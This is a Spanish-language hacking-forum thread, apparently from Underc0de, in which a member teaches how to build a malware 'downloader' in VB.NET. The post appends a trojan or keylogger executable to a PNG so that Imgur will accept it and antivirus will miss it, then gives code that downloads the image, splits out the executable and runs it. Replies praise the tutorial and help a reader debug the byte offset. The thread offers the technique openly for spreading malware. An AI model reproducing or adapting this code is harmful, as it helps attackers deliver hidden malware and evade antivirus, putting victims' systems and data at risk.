Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

Downloader, ¿Qué es?, ¿Cómo Crearlo? by fudmario

  • 11 Respuestas
  • 9107 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado fudmario

  • *
  • Cramel
  • *
  • Mensajes: 197
  • Actividad:
    0%
  • Reputación 13
    • Ver Perfil
    • fudmario - GitHub
  • Skype: fudmario
« en: Enero 01, 2016, 12:12:09 pm »
Casi siempre me pregunta por SKYPE, si conozco algun hosting de descarga directa que no detecte los antivirus, para subir malware, por lo general siempre respondo: "NO, no conozco ninguno, pero puedes usar cualquier Hosting xD", asi que hoy les voy a mostrar como usar cualquier hosting para subir malware.

Hoy hablaremos sobre un tipo de malware llamado: Downloader.

¿Qué es un Downloader?

Citar
Este tipo de malware lo que hace es descarga en secreto archivos maliciosos desde un servidor remoto, para posteriormente ejecutarlo,instalar software malicioso en el Sistema.
Citar
Basicamente lo que hace es descargar malware(troyanos,keyloggers,...,etc.) subido en algun hosting, generalmente se usan hosting de descarga directa(ej: http://descargadirecta.cc/d/trojan.exe) o en algunos casos suben a servidores tipo Pastebin, paste.ee o similares previamente codificado (El problema principal de estos hosting de descarga directa es que son detectados por los AntiVirus.).

 
Ya sabiendo que es y como funciona, voy a explicar como crear uno (No es muy complicado en realidad es muy sencillo):
Para este proposito usaremos un hosting que permite subir Imagenes llamado "Imgur", si, si Imgur...xD un servidor web que nos permite el almacenamiento de Imagenes.

Subir directamente cambiando de extension a un ejecutable(por un .jpg o .png) no funcionará debido a sus medidas de proteccion que usa para subir imagenes en IMGUR.



Lo que haremos será unir: "imagen + ejecutable",sencillo no?, con eso ya tendriamos solucionado el tema de subir sin problemas el malware, 

El lenguaje de programacion que elijan  para crearlo es indistinto, yo lo haré en VB.NET.

Para unir : "Imagen + Server", lo haremos de la siguiente forma:
 

Código: vb.net
  1. Dim imgbytes As Byte() = IO.File.ReadAllBytes("D:\img.png") ' Leemos el contenido de la Imagen
  2.         Dim serverbytes As Byte() = IO.File.ReadAllBytes("D:\Anotador.exe") ' Leemos el Contenido del Malware(troyanos, keylogger,....etc)
  3.         Using fs As New IO.FileStream("tmp.png", IO.FileMode.Create) ' Comenzaremos a escribir nuestra nueva imagen con la Imagen Inicial + Server.
  4.             fs.Write(imgbytes, 0, imgbytes.Length)
  5.             fs.Write(serverbytes, 0, serverbytes.Length)
  6.         End Using
  7.         MessageBox.Show("Done!!!")

Subimos la Imagen al Imgur:


Para Descargar el Server, lo haremos de la siguiente manera:

Código: vb.net
  1. Dim imgbytes As Byte() ' Variable para almacenar la imagen
  2. Const imgSize As Integer = 17083   ' Tamaño de la Imagen Inicial
  3. Using wc As New Net.WebClient()
  4.     imgbytes = wc.DownloadData("http://i.imgur.com/6TZKG9q.png")
  5.     Using ms As New IO.MemoryStream(imgbytes, imgSize, imgbytes.Length - imgSize) 'Aqui obtenemos el tamaño del malware, separando de la imagen Inicial.
  6.         ' Aqui se puede hacer cualquier cosa, droppear el archivo en Disco/
  7.         ' IO.File.WriteAllBytes("D:\Test1.exe", ms.ToArray)
  8.         ' Process.Start("D:\Test1.exe")
  9.     End Using
  10. End Using

Algunas cosas que debes considerar:

Si vemos con algun editor Hexadecimal, veremos que se puede ver el ejecutable, una opcion es cifrar el archivo.



Pues nada cualquier duda comentar en el hilo, Mensaje Privado o  por Skype.


 
« Última modificación: Enero 03, 2016, 02:15:28 pm por Expermicid »


Desconectado blackdrake

  • *
  • Moderator
  • Mensajes: 1923
  • Actividad:
    3.33%
  • Reputación 15
    • Ver Perfil
« Respuesta #1 en: Enero 02, 2016, 11:49:28 am »
Como siempre, un grandísimo aporte @fudmario, estoy seguro de que muchos usuarios seguirán tu "consejo" de utilizar un downloader.

Saludos.
« Última modificación: Enero 03, 2016, 02:15:38 pm por Expermicid »



Desconectado Juan

  • *
  • Underc0der
  • Mensajes: 159
  • Actividad:
    0%
  • Reputación 0
  • Ex-Drinky
    • Ver Perfil
« Respuesta #2 en: Enero 02, 2016, 11:55:05 am »
Es interesante Mario. Enhorabuena ;)
« Última modificación: Enero 03, 2016, 02:15:56 pm por Expermicid »

Conectado ANTRAX

  • *
  • Administrator
  • Mensajes: 5490
  • Actividad:
    6.67%
  • Reputación 36
  • ANTRAX
    • Ver Perfil
    • Underc0de
    • Email
  • Skype: underc0de.org
  • Twitter: @Underc0de
« Respuesta #3 en: Enero 02, 2016, 12:30:01 pm »
Muy muy bueno bro! Felicitaciones por el aporte @fudmario !

Saludos!
ANTRAX
« Última modificación: Enero 03, 2016, 02:15:46 pm por Expermicid »


Desconectado Stiuvert

  • *
  • Underc0der
  • Mensajes: 2676
  • Actividad:
    3.33%
  • Reputación 15
    • Ver Perfil
  • Skype: [email protected]
  • Twitter: @Stiuvert
« Respuesta #4 en: Enero 02, 2016, 01:54:37 pm »
¡Excelente aporte! No sabía esa forma de adjuntar una imagen al ejecutable... +c0in

Saludos
« Última modificación: Enero 03, 2016, 02:16:04 pm por Expermicid »

Conectado Gabriela

  • *
  • Co Admin
  • Mensajes: 906
  • Actividad:
    3.33%
  • Reputación 18
    • Ver Perfil
    • Email
« Respuesta #5 en: Enero 02, 2016, 03:04:15 pm »
 
@fudmario

Hay gente que tiene arte para explicar. Este post tuyo es prueba de ello.
Gracias por el estupendo aporte!!

Gabi

« Última modificación: Enero 03, 2016, 02:16:12 pm por Expermicid »

Desconectado ignacio8888

  • *
  • Underc0der
  • Mensajes: 6
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #6 en: Enero 02, 2016, 07:07:15 pm »
Tengo una duda, mas que duda es una pregunta: cuál sería el equivalente Net.Webclient en php? o sería igual a lo siguiente:
header ("Content-Disposition: attachment; filename=$enlace ");
header ("Content-Type: application/force-download");
header ("Content-Length: ".filesize($enlace));
readfile($enlace);
porque no conozco mucho de visual net.
Desde ya, muchas gracias.
« Última modificación: Enero 03, 2016, 02:16:21 pm por Expermicid »

Desconectado fudmario

  • *
  • Cramel
  • *
  • Mensajes: 197
  • Actividad:
    0%
  • Reputación 13
    • Ver Perfil
    • fudmario - GitHub
  • Skype: fudmario
« Respuesta #7 en: Enero 03, 2016, 11:00:16 am »
Gracias a todos por Comentar...xD

Es interesante Mario. Enhorabuena ;)

No soy mario, es mejor fudmario....xD


Tengo una duda, mas que duda es una pregunta: cuál sería el equivalente Net.Webclient en php? o sería igual a lo siguiente:
header ("Content-Disposition: attachment; filename=$enlace ");
header ("Content-Type: application/force-download");
header ("Content-Length: ".filesize($enlace));
readfile($enlace);
porque no conozco mucho de visual net.
Desde ya, muchas gracias.
Yo tampoco conozco mucho de PHP, pero el metodo DownloadData de la Clase System.Net.WebClient lo que hace es descargar el contenido de la imagen en una matriz de bytes, no sabria decirte cual es la mejor forma de hacerlo en PHP, talvez podrias hacerlo con: "file_get_contents"


Saludos,.
« Última modificación: Enero 03, 2016, 02:16:28 pm por Expermicid »


Desconectado MagoAstral

  • *
  • Underc0der
  • Mensajes: 115
  • Actividad:
    0%
  • Reputación 0
  • Nada resulta más engañoso que un hecho evidente.
    • Ver Perfil
« Respuesta #8 en: Enero 03, 2016, 01:12:17 pm »
Siempre me gustó tu ingenio fudmario, te felicito por el aporte me parece una técnica muy interesante la cual podríamos extrapolar a otro tipo de ficheros.
Un saludo
« Última modificación: Enero 03, 2016, 02:16:37 pm por Expermicid »
Lo que sabemos es una gota de agua; lo que ignoramos es el océano.

Desconectado kastrohack

  • *
  • Underc0der
  • Mensajes: 2
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #9 en: Enero 09, 2016, 09:19:23 pm »
hola
lo primeo gracias por el tuto
he seguido los pasos pero me da un error


Creo tener mas o menos localizado donde esta el fallo, ya que el binario que use, en este caso un anotador no pesa lo mismo al principio y al final


en el code, el peso de la imagen que he usado es este 4825


yo creo que el fallo tiene que estar ahi, ya que al separarlo es como si la imagen hubiese comido bytes al binario ya que ni siquiera empieza por MZ (viendo en hex)

---------------------------------------------EDIT----------------------------------------------
He probado otra imagen y ya funciona.
saludos
« Última modificación: Enero 09, 2016, 09:45:12 pm por kastrohack »

Desconectado Hu3c0

  • *
  • Underc0der
  • Mensajes: 434
  • Actividad:
    0%
  • Reputación 0
  • In the middle Netbeans
    • Ver Perfil
« Respuesta #10 en: Enero 11, 2016, 05:23:05 am »
Te voy a dar mi opinión creo que el problema lo tienes con el pointer, me explico si te fijas en el código que fudmario a compartido le dice los bytes de la imagen original Const imgSize As Integer = 17083 , comprueba antes de hacer el join los bytes de la imagen, después introducelos en el código y compilas.

Para que lo comprendas cuando se ejecuta el downloader lo que hace es colocar el pointer  a partir de esos bytes para leer el binario es evidente que si tu imagen pesa 15000+1500 del ejecutable el programa te va a dar error porque el pointer busca a partir de una posición que no existe.

Cuando cree el hermesdownloader lo que hice fue añadir un delimitador al final de la imagen ejemplo Underc0de.org entonces el downloader buscaba ese delimitador cuando lo detectaba metía en una variable el pointer desde donde empezaba a leer el binario, esto lo hacía desde Java con RandomAccesFile.

Resumiendo lo que debes decirle al programa es a partir de donde tiene que empezar a leer el binario sino transferirá bytes innecesarios o se quedará corto.

Espero te sirva

Desconectado angrymasther

  • *
  • Underc0der
  • Mensajes: 5
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #11 en: Febrero 13, 2018, 05:53:42 pm »
¡Buenas! Me surge una pregunta relacionada con el post, en caso de necesitar actualizar un malware (por poner un ejemplo de cuando usar un downloader xD) ¿No se supone que ya tienes un servidor desde el que se descargó este? Me refiero, ¿Para que subirlo a otro lugar? No sería más sencillo simplemente ponerlo en el mismo servidor e ir descargándolo directamente. A demás el ponerlo desde la imagen crea la necesidad (al menos como lo haría yo) de añadir código para ejecutar solo el código (dejando la parte original de la imagen a parte).

Corregirme si me equivoco, que lo más seguro es que si XDD.
« Última modificación: Febrero 13, 2018, 05:57:12 pm por angrymasther »

 

¿Te gustó el post? COMPARTILO!



Cómo entender códigos maliciosos escritos en AutoIt

Iniciado por Expermicid

Respuestas: 0
Vistas: 2832
Último mensaje Agosto 17, 2014, 12:05:53 pm
por Expermicid
Como crear una botnet [Vertexnet] By Pekador

Iniciado por Pekador

Respuestas: 15
Vistas: 16910
Último mensaje Noviembre 07, 2012, 06:35:23 pm
por Sanko
¿Qué son y cómo funcionan los troyanos bancarios?

Iniciado por DeuSer

Respuestas: 5
Vistas: 3996
Último mensaje Marzo 28, 2010, 01:31:04 pm
por RevoluHack
Tutorial como Descifrar Paswords

Iniciado por Snifer

Respuestas: 18
Vistas: 13268
Último mensaje Noviembre 14, 2016, 09:12:15 am
por Sh1k_Thr0ne
¿Como es un crypter? ¿Para que es? y más...

Iniciado por Stiuvert

Respuestas: 2
Vistas: 3892
Último mensaje Agosto 24, 2012, 05:26:46 am
por PussyMagnet